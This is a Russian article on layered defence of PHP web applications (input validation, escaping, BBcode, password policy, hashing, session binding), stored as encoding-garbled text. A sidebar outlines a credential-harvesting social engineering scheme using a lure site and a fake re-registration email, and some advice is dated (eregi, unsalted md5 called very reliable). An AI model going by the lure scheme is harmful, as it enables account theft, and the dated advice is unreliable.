ðîå âðåìÿ íàçàä: âñïîìíèòå õîòÿ áû áåñêîíå÷íûå
íåäîðàáîòêè PHP-Nuke :). ×òî æå êàñàåòñÿ èíúåê-
öèé êîäà, òî ñêðèïòû, ïîäâåðæåííûå ýòèì áîëåç-
íÿì, âîäÿòñÿ òîëüêî â ñàìîïèñíîì èëè íåçàùèùåí-
íîì êîäå, õîòÿ åñòü è èñêëþ÷åíèÿ èç ýòîãî ïðàâèëà.

Ïåðåõîäèì ê ñëîæíîñòÿì çàùèòû. Çäåñü â ëè-
äåðàõ XSS, íåìíîãî îòñòàåò SQL, è ïîçàäè �
èíúåêöèè PHP-êîäà. ×òîáû ïîíÿòü, ïî÷åìó èìåííî
òàê ðàñïðåäåëèëèñü ïðèçîâûå ìåñòà, íóæíî âçâå-
ñèòü, ñêîëüêî óõîäèò âðåìåíè (äåíåã) íà çàùèòó
îò òîé èëè èíîé íàïàñòè
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Code injection càìàÿ íèçêàÿ íèçêàÿ ñêðèïò
âûñîêàÿ (ñ ïðèâåëåãèÿìè

âåá-ñåðâåðà)
SQL Injection âûñîêàÿ ñðåäíÿÿ ñðåäíÿÿ áàçà äàííûõ
XSS ñðåäíÿÿ âûñîêàÿ âûñîêàÿ êîíå÷íûé

ïîëüçîâàòåëü

ÑÎÖÈÀËÜÍÛÉ
ÈÍÆÈÍÈÐÈÍÃ 
BY EXAMPLE

×òîáû óçíàòü ïàðîëü ÷åëîâåêà, ìîæíî
èñïîëüçîâàòü ñâîè çíàíèÿ âåá-òåõíîëî-
ãèé, à ìîæíî � åãî äîâåð÷èâîñòü.
Ýòî îáû÷íî íàçûâàþò ñîöèàëüíûì èí-
æèíèðèíãîì. Õî÷ó ðàññêàçàòü îäèí ïðè-
ìåð ïîäîáíîãî ïðèåìà, íàäåþñü, òû ñäå-
ëàåøü âûâîäû :). Öåëü: ïîëó÷èòü ëîãèí
è ïàðîëü ÷åëîâåêà åãî àêêàóíòà íà ñàéòå.

Èíôîðìàöèÿ: ÷åëîâåê î÷åíü ëþáèò XXX.
«XXX» � ýòî íå òî, î ÷åì òû ïîäóìàë,
à ïðîèçâîëüíàÿ òåìà, êîòîðîé óâëåêàåò-
ñÿ ïîòåíöèàëüíàÿ æåðòâà ;). Äëÿ íà÷àëà
íåîáõîäèìî ñäåëàòü ñàéò íà ýòó òåìó
ñ áîëüøèì êîëè÷åñòâîì èíôîðìàöèè.
Êðîìå ìàòåðèàëîâ íà ñàéòå áóäåò âîç-
ìîæíîñòü èõ êîììåíòèðîâàíèÿ èëè, ñêà-
æåì, ôîðóì. È äëÿ òîãî, ÷òîáû ñòàòü àê-
òèâíûì ïîëüçîâàòåëåì ñàéòà, íàäî çàðå-
ãèñòðèðîâàòüñÿ íà íåì. À âîò òóò � ñàì-
îå èíòåðåñíîå: ó ìíîãèõ ëþäåé íà âñåõ
ñàéòàõ ïàðîëè îäèíàêîâûå!

Â òàêîì ñëó÷àå ìîæåò âîçíèêíóòü
äâå ïðîáëåìû: æåðòâà ìîæåò ëèáî íå çà-

ðåãèñòðèðîâàòüñÿ íà ñàéòå, ëèáî ïàðîëü
ìîæåò áûòü äðóãèì. Ïîýòîìó ñàéò íàäî
íàïîëíèòü èíòåðåñíûìè ìàòåðèàëàìè
è äàòü íåçàðåãèñòðèðîâàííûì ïîëüçîâà-
òåëÿì âîçìîæíîñòü ïðîñìàòðèâàòü
òîëüêî èõ ÷àñòü. Âòîðàÿ ïðîáëåìà íàì-
íîãî ñåðüåçíåé, íî è èç íåå ìîæíî èç-
âëå÷ü îïðåäåëåííóþ ïîëüçó. Âî-ïåðâûõ,
ïàðîëü ìîæåò äàòü èíôîðìàöèþ î òîì,
êàê æåðòâà ïðèäóìûâàåò ïàðîëè.
Âî-âòîðûõ, ìîæíî îáíóëèòü åãî ïàðîëü
è ïðèñëàòü ïèñüìî «Ó íàñ áàçà ïîëåòåëà,
çàðåãèñòðèðóéòåñü åùå ðàç» :).

Âûâîä: ïðèäóìûâàéòå ïàðîëè ðàçíûå
è äëèííûå � Df!2go#_^_7M, íàïðèìåð.





òðè êêðóãà îîáîðîíû ííà ññòîðîíå êêëèåíòà. Íà÷-
íåì ñ ñàìîãî ïðîñòîãî � ñ îòïóãèâàíèÿ «þíûõ õà-
êåðîâ» ;). Èòàê, ìàëîëåòíåå ñîçäàíèå îòêðûëî áðàó-
çåð, çàøëî íà òâîé ñàéò, íàøëî ôîðìó è ïûòàåòñÿ
ñâîèìè êîâàðíûìè ðó÷êàìè ââåñòè òóäà ÷òî-íèáóäü
íåõîðîøåå. Ïðåæäå âñåãî, âîñïîëüçóåìñÿ âîçìîæ-
íîñòÿìè ÿçûêà HTML. Äëÿ íà÷àëà âûáåðåì ïîäõî-
äÿùèé ýëåìåíò óïðàâëåíèÿ, íàïðèìåð, åñëè íàäî
âûáðàòü «ìåñòî æèòåëüñòâà», òî áåçîïàñíåé áóäåò
èñïîëüçîâàòü âûïàäàþùèé ñïèñîê (à íå ñòðîêó ââî-
äà). ×òî êàñàåòñÿ ïîñëåäíåé, òî æåëàòåëüíî âû-
áðàòü è ìàêñèìàëüíóþ äëèíó äëÿ ñòðîêè ââîäà.

Âòîðîé êðóã îáîðîíû áóäåò ðàáîòàòü íà Ja-
vaScript, êîòîðûé ïîìîæåò íàì ïîäâåðãíóòü ñòðîãî-
ìó àóäèòó âñå, ÷òî ïîëüçîâàòåëþ âçäóìàåòñÿ ââå-
ñòè â íàøè ôîðìû. Ìû ìîæåì, íàïðèìåð, óáåäèòü-
ñÿ, ÷òî ââåäåí äåéñòâèòåëüíî e-mail, à íå SQL-çà-
ïðîñ, êîòîðûé âûäàñò çëîóìûøëåííèêó ïàðîëè
âñåõ ïîëüçîâàòåëåé.

Òðåòèé è ñàìûé ïîñëåäíèé êðóã èñïîâåäóåò
èäåîëîãèþ AJAX, ïîýòîìó íå ÿâëÿåòñÿ ÷èñòî êëèåíò-
ñêèì. Ïîñëå çàïîëíåíèÿ î÷åðåäíîãî ïîëÿ ìû ñäåëàåì
çàïðîñ íà ñåðâåð î ïðàâèëüíîñòè ââåäåííûõ äàííûõ.

Ðàññìîòðèì ïëþñû è ìèíóñû äàííîãî ïîäõî-
äà. Îí, áåçóñëîâíî, îòïóãíåò âçëîìùèêîâ-äèëåòàí-

òîâ, êîòîðûå íå óìåþò ïîëüçîâàòüñÿ íè÷åì êðîìå
áðàóçåðà. Îòìå÷ó òàêæå åùå îäèí ïðèÿòíûé ýô-
ôåêò � óëó÷øåíèå þçàáèëèòè ñàéòà, âåäü ïðè íå-
ïðàâèëüíîì çàïîëíåíèè ôîðìû ïîëüçîâàòåëü åùå
äî åå îòïðàâêè ïîëó÷èò ñîîòâåòñòâóþùåå ñîîáùå-
íèå. Ìèíóñ ó çàùèòû íà ñòîðîíå êëèåíòà òîëüêî
îäèí � îáîéòè åå ïðîùå ïàðåíîé ðåïû, òàê ÷òî ñîõ-
ðàíÿåì ñòðàíèöó ó ñåáÿ íà ñåðâåðå è îòêëþ÷àåì â
áðàóçåðå JavaScript. À åùå ëó÷øå � ðàáîòàåì íå
÷åðåç áðàóçåð, à ñ ïîìîùüþ ñêðèïòà. Òàê ÷òî çàùè-
òó íà ñòîðîíå êëèåíòà ìîæíî ñ÷èòàòü ðâîì âîêðóã
íàøåé êðåïîñòè. À ïîñêîëüêó ðîâ � ýòî ñàìîå-ñàì-
îå íà÷àëî, òî ïðèñòóïèì ê âîçâåäåíèþ ñòåí =). 

çàùèùàåìñÿ ííà ññåðâåðå. Ñðàçó îãîâîðþñü,
êàêèå àñïåêòû ÿ îñâåùó â ñëåäóþùåé ÷àñòè ñòàòüè.
Çäåñü òû íå óñëûøèøü íè î òîíêèõ íàñòðîéêàõ áå-
çîïàñíîñòè â Ëèíóêñ, íè î òîì, êàê ïðàâèëüíî ñî-
áðàòü çàùèùåííûé àïà÷ è êàêèå ìîäóëè ê íåìó ïðè-
êðóòèòü. Íå áóäåò ïðîèçíåñåíî íè ñëîâà î íàñòðîé-
êàõ PHP (ëþáèìûå ìîè magic quotes). Îñòàâèì ýòè
äåëà ñèñàäìèíàì, � îíè íå çðÿ ñâîé õëåá åäÿò, à

ñàìè çàéìåìñÿ ïðîãðàììèðîâàíèåì. Áðîñèì áå-
ãëûé âçãëÿä íà ñõåìó, ïî êîòîðîé íàì ïðåäñòîèò ðà-
áîòàòü äàëüøå (ñìîòðè ñõåìó 1).

ïðîâåðêà ââõîäíûõ ääàííûõ. Äëÿ íà÷àëà îïðå-
äåëèì, îòêóäà íàø ñêðèïò ìîæåò ïîëó÷àòü ïîòåí-
öèàëüíî îïàñíóþ èíôîðìàöèþ. Ïåðâîå, ÷òî ïðèõî-
äèò íà óì � ýòî ôîðìû, êîòîðûå çàïîëíÿåò ïîëüçî-
âàòåëü. Äàííûå èç íèõ ìîãóò ïåðåäàâàòüñÿ äâóìÿ
ìåòîäàìè. Ïðè èñïîëüçîâàíèè ìåòîäà POST äàí-
íûå ïîñòóïàþò ñêðèïòó íà ñòàíäàðòíûé âõîä, à åñëè
ïðèìåíÿåòñÿ ìåòîä GET, òî èíôîðìàöèÿ ïåðåäàåò-
ñÿ â àäðåñíîé ñòðîêå:

URL
http://www.example.ru/index.php

?variable=value

Òû ëþáèøü ïå÷åíüå? Íåò? À âîò âçëîìùèêè ëþáÿò,
âåäü ÷àñòü èíôîðìàöèè ïåðåäàåòñÿ èìåííî ÷åðåç
êóêè. Îáû÷íî ýòî èäåíòèôèêàòîð ñåññèè è äðóãàÿ
èíôîðìàöèÿ, êîòîðàÿ ñîõðàíÿåòñÿ âî âðåìÿ ñåð-
ôèíãà þçåðà ïî ñàéòó. Äëÿ ñêðèïòà, íàïèñàííîãî íà
PHP, âñå âûøåîïèñàííûå ìåòîäû ïîëó÷åíèÿ âíå-
øíåé èíôîðìàöèè ïðàêòè÷åñêè ðàâíîçíà÷íû, ïîý-
òîìó òû ìîæåøü èñïîëüçîâàòü ìàññèâ $_REQUEST
(ïðàâäà, ýòî íå î÷åíü áåçîïàñíîå ðåøåíèå). 

Âðîäå áû âñå, íî íåò! Ïîäóìàé, îòêóäà åùå
ñêðèïò ïîëó÷àåò äàííûå? Êîíå÷íî, èç ÁÄ (èëè èç
ðåäêèõ íûí÷å òåêñòîâûõ ôàéëîâ)! Âîçíèêàåò çàêî-

ÏÐÎÑÒÀÂÜ ÎÏÖÈÈ DISPLAY_ERRORS = OFF È LOG_ERRORS = ON
ÄËß ÎÒÊËÞ×ÅÍÈß ÏÎÊÀÇÀ ÎØÈÁÎÊ È ÄËß ÂÊËÞ×ÅÍÈß
ÈÕ ÆÓÐÍÀËÈÐÎÂÀÍÈß

ââààêêööèèííàà ääëëÿÿ ññààééòòàà
Ñîçäàíèå ìíîãîóðîâíåâîé çàùèòû îò âçëîìà
âåá-ïðèëîæåíèé

«ÌÎÉ ÑÀÉÒ � ÌÎß ÊÐÅÏÎÑÒÜ» � ÒÀÊÈÌ ÄÎËÆÅÍ ÁÛÒÜ ÄÅÂÈÇ ÂÑÅÕ ÂÅÁ-
ÐÀÇÐÀÁÎÒ×ÈÊÎÂ. Â ÝÒÎÉ ÑÒÀÒÜÅ ß ÐÀÑÑÊÀÆÓ, ÊÀÊ ÊÀÌÅÍÜ ÇÀ ÊÀÌÍÅÌ È ÊÈÐÏÈ× ÇÀ
ÊÈÐÏÈ×ÎÌ ÏÎÑÒÐÎÈÒÜ ÒÀÊÓÞ ÊÐÅÏÎÑÒÜ. ÌÛ ÍÀ×ÍÅÌ Ñ ÇÀÙÈÒÛ ÍÀ ÑÒÎÐÎÍÅ ÊËÈÅÍÒÀ
È ÇÀÊÎÍ×ÈÌ ÎÁÎÐÎÍÎÉ ÑÅÐÂÅÐÍÎÉ ×ÀÑÒÈ.

Áîðèñ Âîëüôñîí
borisvolfson@gmail.com http://splendot.com 
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íîìåðíûé âîïðîñ: «À ïî÷åìó ìû íå ìîæåì äîâå-
ðÿòü èíôîðìàöèè, ïîëó÷åííîé èç áàçû äàííûõ?».
Åñòü äâà èñòî÷íèêà óãðîçû. Âî-ïåðâûõ, âçëîìùèê
ìîã ïîëó÷èòü äîñòóï ê áàçå äàííûõ è çàíåñòè òóäà
ïðîèçâîëüíóþ èíôîðìàöèþ, íàïðèìåð, ñ ïîìî-
ùüþ SQL-èíúåêöèè. Âî-âòîðûõ, åñòü òàêàÿ íåõîðî-
øàÿ âåùü, êàê XSS � ìåæñàéòîâûé ñêðèïòèíã. Â
äàííîì ñëó÷àå, çëîóìûøëåííèê ìîã ïîëîæèòü â
áàçó äàííûõ èíôîðìàöèþ, èñïîëüçóÿ íàøè æå
ñêðèïòû. Íàïðèìåð, îí ìîæåò íàïèñàòü â ãîñòåâîé
êíèãå è â êîììåíòàðèè íåñëîæíûé JavaScript, êî-
òîðûé ïåðåäàñò åìó êóêè âñåõ ïîëüçîâàòåëåé, åãî
ïðî÷èòàâøèõ. Ïîýòîìó ôèëüòðû ïðîâåðêè íàäî íà-
êëàäûâàòü íà äàííûå è ïðè èõ ïîñòóïëåíèè îò
ïîëüçîâàòåëÿ, è ïðè âûäà÷å ýòèõ äàííûõ ñàìîìó
ïîëüçîâàòåëþ.

òèïû ïïðîâåðîê. Îòêóäà ìîãóò ïîñòóïèòü âðå-
äîíîñíûå ñòðî÷êè, ìû ñ òîáîé âûÿñíèëè, òåïåðü
ðàññìîòðèì, ÷òî â íèõ ìîæåò áûòü çëîãî è êàê ñ ýò-
èì áîðîòüñÿ. Íà÷íåì ñ ñàìîãî ïðîñòîãî � îãðàíè-
÷èì äëèíó ââîäèìûõ ïîëüçîâàòåëåì äàííûõ. Òà-
êàÿ áàíàëüíàÿ ïðîâåðêà ìîæåò ïîíàäîáèòüñÿ äëÿ
ðàáîòû ñ áàçàìè äàííûõ. Òàêæå ñëåäóåò ïðîâå-
ðèòü âñå ïîëÿ äëÿ ââåäåíèÿ ýòèõ äàííûõ, åñëè çà-
ðàíåå èçâåñòåí èõ òèï (â ÷àñòíîñòè, íà âõîäå ìû
ìîæåì ïîëó÷èòü ÷èñëî èëè äàòó è îñóùåñòâèòü
íåîáõîäèìóþ ïðîâåðêó). Â PHP ìîæíî èñïîëüçî-
âàòü ôóíêöèþ is_numeric äëÿ ïðîâåðêè «íà ÷èñëî»,
ïðàâäà, ñ îñòîðîæíîñòüþ � â ðàçíûõ âåðñèÿõ ðå-
çóëüòàòû åå ðàáîòû áóäóò íåìíîãî îòëè÷àòüñÿ.
Â îáùåì ñëó÷àå óäîáíî èñïîëüçîâàòü ðåãóëÿðíûå

âûðàæåíèÿ, êîòîðûå óäà÷íî ðåàëèçîâàíû âî ìíî-
ãèõ ÿçûêàõ èëè áèáëèîòåêàõ. Äëÿ ïðîâåðêè íà êîð-
ðåêòíîñòü àäðåñà ýëåêòðîííîé ïî÷òû ìîæíî èñ-
ïîëüçîâàòü òàêîé regexp:

PHP
eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.

[A-Z]{2,6}$", $email)

×òî êàñàåòñÿ ïðîâåðêè âõîäíûõ äàííûõ íà ïðèíàä-
ëåæíîñòü ê ìèðó ÷èñåë, òî ðåãóëÿðíûå âûðàæåíèÿ
ìîãóò ïîìî÷ü è çäåñü. Äàâàé, êñòàòè, íåìíîãî
óñëîæíèì çàäà÷ó: âõîäíîé ïàðàìåòð äîëæåí áûòü
öåëûì ÷èñëîì áåç çíàêà. Äëÿ ýòîãî ñíà÷àëà óáåðåì
ïðîáåëüíûå ñèìâîëû â íà÷àëå è â êîíöå ñòðîêè,
à çàòåì ïðîâåðèì ñòðîêó ðåãóëÿðíûì âûðàæåíèåì.

PHP
function is_unsigned_integer($val)

{

$val=str_replace

(" ","",trim($val));

return eregi("^([0-9])+$",$val);

}

Ðåãóëÿðíîå âûðàæåíèå «^([0-9])+$» (áåç êàâû÷åê)
îçíà÷àåò, ÷òî ñòðîêà äîëæíà ñîäåðæàòü òîëüêî öè-
ôðû è èõ êîëè÷åñòâî äîëæíî áûòü íå ìåíüøå îä-
íîé. Àíàëîãè÷íûå ðåãóëÿðíûå âûðàæåíèÿ íåîáõî-
äèìî èñïîëüçîâàòü è äëÿ îñòàëüíûõ äàííûõ.

Ëè÷íî ÿ ëþáëþ èñïîëüçîâàòü êëàññ Validate
èç áèáëèîòåêè PEAR, êîòîðûé ïîçâîëÿåò ïðîâî-
äèòü äîñòàòî÷íî ñëîæíûå ïðîâåðêè â îäíó ñòðî÷êó:

PHP
$validate = &new Validate();

$validate->string( $username,

array('format'=>VALIDATE_ALPHA .

VALIDATE_NUM . VALIDATE_SPACE ) ) 

$validate->email( $email )

$validate->number( $age,

array( 'min'=>0, 'max'=>100 ) ) 

Ìåòîäû êëàññà Validate âîçâðàùàþò false, åñëè ïðî-
âåðêà íå ïðîéäåíà. Ñíà÷àëà ìû ïðîâåðÿåì èìÿ
ïîëüçîâàòåëÿ: îíî äîëæíî ñîñòîÿòü òîëüêî èç áóêâ,
öèôð è ïðîáåëîâ. Çàòåì ìû ïîâåðÿåì àäðåñ ýëåê-
òðîííîé ïî÷òû, è, íàêîíåö, óáåæäàåìñÿ, ÷òî âîçðàñò
ïîëüçîâàòåëÿ � ýòî ÷èñëî â äèàïàçîíå îò 0 äî 100.
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Ôèëüòðàöèÿ ÍÅÕÏðîâåðêà ðåôåðîâ

Ñõåìà 1. Çàùèòà íà ñòîðîíå ñåðâåðà

Áåçîïàñíîñòü



ýêðàíèðóåì ññïåöñèìâîëû. Ñïåöñèìâîëû íàñ,
ïðåæäå âñåãî, íå óñòðàèâàþò â òîì ñëó÷àå, êîãäà
çàïèñè èíôîðìàöèè ïðîèçâîäÿòñÿ â áàçó äàííûõ,
ïîñêîëüêó â íèõ íàâåðíÿêà êðîåòñÿ âåëèêîå-ïðå-
âåëèêîå çëî SQL-èíúåêöèé è XSS-àòàê. Â ýòîì
ñìûñëå, PHP ïðåäëàãàåò íàì öåëûé àðñåíàë
ñðåäñòâ áîðüáû ñ ïîäîáíîãî ðîäà íåïðÿòíûìè
óÿçâèìîñòÿìè. Âñå, ÷òî îò íàñ íåóêîñíèòåëüíî òðå-
áóåòñÿ � ýòî èñïîëüçîâàòü èõ. Ïðèâåäó ñïèñîê ôóíê-
öèé, êîòîðûå ñëåäóåò èñïîëüçîâàòü äëÿ ýêðàíèðî-
âàíèÿ (ñìîòðè òàáëèöó 1).

Ïîõîæå, íàñòàëî âðåìÿ ðàññêàçàòü ïðî ma-
gic_quotes, î êîòîðûõ ÿ òîðæåñòâåííî îáåùàë ìîë-
÷àòü â íà÷àëå ãëàâû. Ýòà îïöèÿ àâòîìàòè÷åñêè
ýêðàíèðóåò äàííûå èç ìàññèâîâ $_GET, $_POST,
$_COOKIE. Çíà÷èò, ïðè íàïèñàíèè êîäà íàì íàäî
ýòî ó÷èòûâàòü, ÷òîáû íå äîáàâèòü äâà ðàçà îáðàò-
íûå ñëåøè:

PHP
function escape_smart($value)

{

if (get_magic_quotes_gpc()) {

$value = stripslashes($value);

}

$value =

mysql_real_escape_string($value);

return $value;

}

BBcode èè wwiki. Èíîãäà âñå-òàêè íåîáõîäèìî
äàòü ïîëüçîâàòåëþ âîçìîæíîñòü ôîðìàòèðîâàòü
ââåäåííûé èì òåêñò, íî ðàçðåøàòü íàïðÿìóþ ââî-
äèòü òåãè ñëèøêîì îïàñíî. Ñàìûì ïðîñòûì âûõî-
äîì áóäåò èñïîëüçîâàíèå êàêîé-ëèáî ðàçìåòêè, íà-

ïðèìåð BBcode èëè wiki. Â òàêîì ñëó÷àå ïðè ñîçäà-
íèè âõîäíûõ äàííûõ ïîëüçîâàòåëü èñïîëüçóåò îãðà-
íè÷åííûé ÿçûê ðàçìåòêè, êîòîðûé çàòåì êîíâåðòè-
ðóåòñÿ â HTML. Ïîëüçîâàòåëþ ìû äàäèì âîçìîæ-
íîñòü âûäåëÿòü øðèôò ïîëóæèðíûì è êóðñèâîì:

BBcode
[b]Çäåñü áóäåò ïîëóæèðíûé òåêñò,

[i]à çäåñü � ïîëóæèðíûé êóðñèâ[/i][/b],

a ýòî îáû÷íûé òåêñò.

Äàëüøå íàäî ïðîñòî çàìåíèòü òåãè íà èõ HTML-àíà-
ëîãè. Êàæäûé òåã íàäî îáðàáàòûâàòü îòäåëüíî, à íå
ïðîñòî ñìåíèòü êâàäðàòíûå ñêîáêè íà óãëîâûå. Òîã-
äà íà âûõîäå ìû ïîëó÷èì:

HTML
<strong>Çäåñü áóäåò ïîëóæèðíûé òåêñò,

<em>à çäåñü � ïîëóæèðíûé

êóðñèâ</em></strong>,

a ýòî îáû÷íûé òåêñò.

Òàêîé ïîäõîä ïîçâîëÿåò äîâîëüíî ïðîñòî èçáåæàòü
óãðîçû XSS-èíúåêöèé, äà è ðåàëèçóåòñÿ îí áåç îñî-
áûõ íàïðÿãîâ. Äðóãîé âàðèàíò (ìåíåå áåçîïàñ-
íûé) � ðàçðåøèòü ïîëüçîâàòåëþ ââîäèòü òîëüêî
îïðåäåëåííûå òåãè, à îñòàëüíûå îòñåèâàòü. Òîò æå
ïðèìåð áóäåò òåïåðü âûãëÿäåòü òàê:
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ÏÎËÈÒÈÊÀ 
ÁÅÇÎÏÀÑÍÎÑÒÈ
ÄËß 
ÏÎËÜÇÎÂÀÒÅËÅÉ

Âçëîìùèê ìîæåò ïûòàòüñÿ ñëîìàòü
íå âåñü ñàéò, à òîëüêî ïîëó÷èòü äîñòóï
ê àêêàóíòó îòäåëüíîãî ïîëüçîâàòåëÿ. È
òóò âñòàåò âîïðîñ ñîöèàëüíîãî õàðàêòå-
ðà. Ïîïðîáóåì ðåøèòü åãî ïðè ïîìîùè
ïðîãðàììèðîâàíèÿ ;).

Äëÿ çàõâàòà àêêàóíòà õàêåðó íåîáõî-
äèìî çàâëàäåòü ëîãèíîì è ïàðîëåì
ïîëüçîâàòåëÿ. Ëîãèí îáû÷íî íàõîäèòñÿ
âî âñåîáùåì äîñòóïå è ñëóæèò èäåíòè-
ôèêàòîðîì ïîëüçîâàòåëÿ, à âîò ïàðîëü,
ïî èäåå, çíàåò òîëüêî ñàì ïîëüçîâà-
òåëü. Òåïåðü öåëü ÿñíà � íàäî çàùè-
òèòü ïàðîëü ;).

Strong ppassword. Ñàìûì «òóïûì»
ìåòîäîì âçëîìà ïàðîëÿ ÿâëÿåòñÿ brute-
force, ïðîùå ãîâîðÿ, ïåðåáîð. Îáû÷íî
äëÿ ïåðåáîðà èñïîëüçóþò ñëîâàðè, ëè-
áî ïðîñòî ïåðåáèðàþò âñåâîçìîæíûå
êîìáèíàöèè ïî çàäàííîé ìàñêå. Íàøåé
ïåðâîé çàäà÷åé áóäåò áîðüáà ñ ïîäáî-
ðîì. Äëÿ ýòîãî ïàðîëü äîëæåí áûòü äî-
ñòàòî÷íî äëèííûì � áîëåå 6 ñèìâîëîâ
è ñîäåðæàòü ðàçíîîáðàçíûå ñèìâîëû:
öèôðû, ñòðî÷íûå è ïðîïèñíûå áóêâû.
Ïî ìåðå íåîáõîäèìîñòè äëèíó ïàðîëÿ
ìîæíî óâåëè÷èòü, à â íåîáõîäèìûå
ñèìâîëû äîáàâèòü åùå è çíàêè ïðåïè-
íàíèÿ. Ìàëåíüêèì ïðèìå÷àíèåì ê äàí-
íîìó ïàðàãðàôó áóäåò íåîáõîäèìîñòü
áëîêèðîâàòü âõîä ïîëüçîâàòåëÿ íà
ñàéò (ìèíóò, ñêàæåì, íà 30) ïîñëå 3�5
íåóäà÷íûõ ïîïûòîê ââîäà ëîãèíà è ïà-

ðîëÿ. Â òàêîì ñëó÷àå âçëîìùèêó ïðè-
äåòñÿ èñïîëüçîâàòü ïðîêñè, êîòîðûå
ïðè áîëüøîé íåîáõîäèìîñòè ìîæíî
òàêæå áëîêèðîâàòü.

Äëÿ áîëåå ìîùíîé ïðîâåðêè ïàðî-
ëÿ ðåêîìåíäóþ èñïîëüçîâàòü ðàñøèðå-
íèå CrackLib. Îíî ïîçâîëÿåò ïðîãíàòü
ïàðîëü ïî ñëîâàðþ è îñóùåñòâèòü ðÿä
äîïîëíèòåëüíûõ ïðîâåðîê:

PHP
// Çàãðóæàåì ñëîâàðü
$dictionary = crack_opendict('/usr/
local/lib/pw_dict');
// Ïðîâåðÿåì ïàðîëü
$check = crack_check($dictionary,
�Q6g$b87gHjn5_4t5sdf!23HLayi');
// Ïîëó÷àåì ðåçóëüòàò ïðîâåðêè
$res = crack_getlastmessage();

echo $res; // 'strong password'

// Çàêðûâàåì ñëîâàðü
crack_closedict($dictionary);

Ñþäà æå îòíåñó òàêóþ âîçìîæíîñòü,
êàê ñìåíà ïàðîëåé ÷åðåç îïðåäåëåí-
íûé ïðîìåæóòîê âðåìåíè. Òàêàÿ îï-
öèÿ íå äàñò âçëîìùèêó âîçìîæíîñòü
ïîäáèðàòü ïàðîëü áðóòôîðñîì â òå-
÷åíèå ãîäà.

Àâòîãåíåðàöèÿ ïïàðîëåé. Çà÷åì ìó-
÷èòü ïîëüçîâàòåëåé è çàñòàâëÿòü èõ
ïðèäóìûâàòü ïàðîëè äëèíîé â 10 áóêâ
è öèôð, êîãäà ïðîùå ýòî ñäåëàòü ïðî-
ãðàììíî? Çàîäíî ìîæíî áóäåò ïðîâå-
ðèòü ïàðîëü íà óíèêàëüíîñòü, ÷òî åùå
áîëüøå ïîâûñèò áåçîïàñíîñòü.

Õåø îîò ïïàðîëåé. Ïðåäñòàâü ñåáå
ïîäîáíóþ êàðòèíó � âçëîìùèê ïîëó-

÷èë äîñòóï íà ÷òåíèå áàçû äàííûõ
ïîëüçîâàòåëåé òâîåãî ñàéòà� è íèêàê
íå ìîæåò âîñïîëüçîâàòüñÿ ýòîé èí-
ôîðìàöèåé ;). Ýòî íå ìîÿ áîëüíàÿ
ôàíòàçèÿ, à ðåàëüíîñòü, åñëè âìåñòî
ïàðîëåé òû õðàíèøü èõ õåøè. Õåø �
ýòî «óíèêàëüíàÿ» ñòðîêà (èëè ÷èñëî),
êîòîðàÿ ãåíåðèðóåòñÿ ïî ïàðîëþ ïðè
ïîìîùè ñïåöèàëüíîé ôóíêöèè, íà-
ïðèìåð md5. Ïî õåøó âîññòàíîâèòü
ñàìó ñòðîêó ïðàêòè÷åñêè íåâîçìîæíî,
ïîýòîìó ýòîò ñïîñîá õðàíåíèÿ ïàðî-
ëåé î÷åíü íàäåæåí.

Îïàñíûå ääåéñòâèÿ. Áàçó ïîëüçîâà-
òåëåé ó íàñ óæå êðàëè, òåïåðü ïðåäïî-
ëîæèì, ÷òî âçëîìùèê ñìîã çàâëàäåòü
ñåññèåé ïîëüçîâàòåëÿ, òî åñòü ðàáîòà-
åò ïîä åãî ëîãèíîì. Ñèòóàöèÿ òèïè÷-
íàÿ � ìîæíî ïðîñòî ïîäîæäàòü, ïîêà
÷åëîâåê âûéäåò èç-çà êîìïà, åñëè
ðå÷ü èäåò îá îôèñå, èëè ïîïðîáîâàòü
óêðàñòü êóêè ñ èäåíòèôèêàòîðîì ñåñ-
ñèè. Ïåðâîå, ÷òî ïîïûòàåòñÿ ñäåëàòü
çëîé õàêåð, � ýòî ñìåíèòü ïàðîëü.
Èìåííî ïðè ïîäîáíûõ äåéñòâèÿõ íàäî
ïîâòîðíî çàïðàøèâàòü ïàðîëü ïîëüçî-
âàòåëÿ, âåäü åñëè âçëîìàíà ñåññèÿ,
íàì óäàñòñÿ ïðåäîòâðàòèòü êðóïíûé
óùåðá. Ê îïàñíûì äåéñòâèÿì ñòîèò
îòíåñòè: óäàëåíèå àêêàóíòà, êðóïíûå
ôèíàíñîâûå òðàíçàêöèè, ìàññîâóþ
ðàññûëêó ïèñåì è ïðî÷åå.

Ïðèâÿçêà ññåññèè êê IIP. ×òîáû âçëîì-
ùèêó áûëî ñëîæíåé çàâëàäåòü ñåññè-
åé, íàäî êðîìå èäåíòèôèêàòîðà õðà-
íèòü òàêæå IP ïîëüçîâàòåëÿ. Òàêîé
ïîäõîä ñäåëàåò íåâîçìîæíûì ðàáîòó
ñ äðóãîãî êîìïüþòåðà äàæå ïðè èìåþ-
ùåìñÿ ïðàâèëüíîì èäåíòèôèêàòîðå
ñåññèè.

ïðîâåðêà èñòî÷íèêà
ÊÎÃÄÀ ß ÐÀÑÑÊÀÇÛÂÀË Î ÇÀÙÈÒÅ
ÍÀ ÊËÈÅÍÒÑÊÎÉ ÑÒÎÐÎÍÅ, 
ß ÎÃÎÂÎÐÈËÑß, ×ÒÎ ÑÒÐÀÍÈÖÓ 
ÌÎÆÍÎ ÑÎÕÐÀÍÈÒÜ ÍÀ ÄÐÓÃÎÌ 
ÑÅÐÂÅÐÅ ÈËÈ ËÎÊÀËÜÍÎÉ ÌÀØÈÍÅ 
È ÏÎÄÏÐÀÂÈÒÜ, ÊÀÊ ÒÅÁÅ ÍÐÀÂÈÒÑß.
ÍÎ ÝÒÓ ÁÐÅØÜ ÌÎÆÍÎ ÍÅÌÍÎÃÎ 
ÇÀËÀÒÀÒÜ, ÏÐÎÂÅÐßß, ÎÒÊÓÄÀ Ê ÍÀÌ
ÏÐÈØÅË ÏÎËÜÇÎÂÀÒÅËÜ. ÄÅËÀÅÒÑß
ÝÒÎ ÏÐÈ ÏÎÌÎÙÈ ÏÅÐÅÌÅÍÍÎÉ 
$_SERVER[«HTTP_REFERER»], ÊÎÒÎÐÀß
ÊÀÊ ÐÀÇ È ÑÎÄÅÐÆÈÒ ÏÐÅÄÛÄÓÙÓÞ
ÑÒÐÀÍÈÖÓ, À ÍÀÌ ÎÑÒÀÍÅÒÑß ÒÎËÜÊÎ
ÏÐÎÂÅÐÈÒÜ, ÄÅÉÑÒÂÈÒÅËÜÍÎ ËÈ 
